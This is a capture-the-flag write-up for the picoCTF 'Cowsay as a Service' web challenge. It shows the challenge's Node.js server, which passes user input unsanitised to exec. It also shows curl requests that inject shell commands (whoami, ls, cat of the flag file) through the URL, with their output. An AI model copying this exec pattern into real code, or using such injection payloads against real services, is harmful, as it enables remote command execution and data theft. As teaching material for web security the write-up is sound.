Points: 150
Tags: picoMini by redpwn, Web Exploitation
Author: BROWNIEINMOTION
Description:
Now presenting cowsay as a service
Hints:
(None)
Challenge link: https://play.picoctf.org/practice/challenge/202
Let's start by browsing to the web site and see what we find.
The following text is displayed
Cowsay as a Service
Make a request to the following URL to cowsay your message:
https://caas.mars.picoctf.net/cowsay/{message}
Let's also check the HTML source code. Press CTRL + U
or right-click anywhere on the background and select View page source
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="styles.css"/>
<script src="index.js"></script>
<title>CaaS</title>
</head>
<body>
<h1>Cowsay as a Service</h1>
<strong>Make a request to the following URL to cowsay your message:</strong>
<br>
<code></code>
</body>
</html>
Nothing much to see there. But there is also a index.js
script. Let's check that
(async () => {
await new Promise(r => window.addEventListener('load', r));
document.querySelector('code').textContent =
`${window.origin}/cowsay/{message}`;
})();
We were also given a index.js
from the server side
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
Ah, we can see that whatever message we send gets executed with exec
.
Maybe we can use command injection?
Let's first just use the service as intended with curl
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl https://caas.mars.picoctf.net/cowsay/picoCTF
_________
< picoCTF >
---------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Let's see if we can inject code, in this case whoami
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;whoami"
_________
< picoCTF >
---------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
node
Yes, we can! And we are running as the node
user.
Let's start looking for the flag with ls
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;ls"
_________
< picoCTF >
---------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock
There is a falg.txt
file. Sneaky!
Let's try to read it
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;cat falg.txt"
curl: (3) URL using bad/illegal format or missing URL
Ah, forgot to URL encode the space (should be %20
)
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoMini_by_redpwn/Web_Exploitation/caas]
└─$ curl "https://caas.mars.picoctf.net/cowsay/picoCTF;cat%20falg.txt"
_________
< picoCTF >
---------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
picoCTF{<REDACTED>}
For additional information, please see the references below.